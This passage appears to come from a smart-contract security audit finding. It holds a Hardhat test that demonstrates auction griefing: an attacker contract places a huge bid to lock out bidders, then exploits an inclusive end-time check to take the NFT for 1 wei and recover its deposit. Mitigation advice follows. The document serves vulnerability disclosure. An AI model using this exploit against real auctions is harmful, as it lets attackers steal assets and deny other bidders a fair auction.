      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        "'auction'",
        0 /*saltfun */,
        1 /* collection id */,
        1796931278 /* auctionEndTime */
      );
      const tokenIndex = 10000000000;
      await contracts.hhCore
        .connect(signers.addr1)
        .approve(await contracts.hhAuction.getAddress(), tokenIndex);

      await contracts.hhGriefer.setTokenId(tokenIndex);
      // An attacker can enter the auction with realy big amount (100 ether)
      await contracts.hhGriefer
        .connect(signers.addr2)
        .enterAuction({ value: BigInt(100000000000000000000) });

      // Now users cannot join, as the bid is too big
      // await contracts.hhAuction
      //   .connect(signers.addr3)
      //   .participateToAuction(tokenIndex, {
      //     value: BigInt(100000000000000000),
      //   });

      // Skip to (auctionEndTime - 1)
      await network.provider.send("evm_setNextBlockTimestamp", [1796931277]);
      await network.provider.send("evm_mine");

      // Exploit the scenario with 1 wei of ETH
      await contracts.hhGriefer.exploit({ value: BigInt(1) });
      // Now a malicious user got the NFT
      const owner = await contracts.hhCore.ownerOf(tokenIndex);
      await expect(owner).to.equal(await contracts.hhGriefer.getAddress());
      // And refunding his initial 100 ETH, esentially gaining an NFT for 1 wei
      const balance = await ethers.provider.getBalance(
        await contracts.hhGriefer.getAddress()
      );
      await expect(balance.toString()).to.equal("100000000000000000000");
    });
  });

Please run it with npx hardhat test --grep "Auction griefing"

Tools Used

Manual review

Recommended Mitigation Steps

Change the require statements to be non-inclusive of auctionEndTime. I also suggest to remove a way for a highestBidder to cancel his bid. Because even if you make require checks non-inclusive, there still a way to grief an auction, where user backruns the tx that creates an auction, and joins with an abusrd msg.value, now nobody can join and the malicious user can just call cancelBid at the last second before auctionEndTime, effectively leaving an auction free of bidders, making it unsuccesfful.

Assessed type

Invalid Validation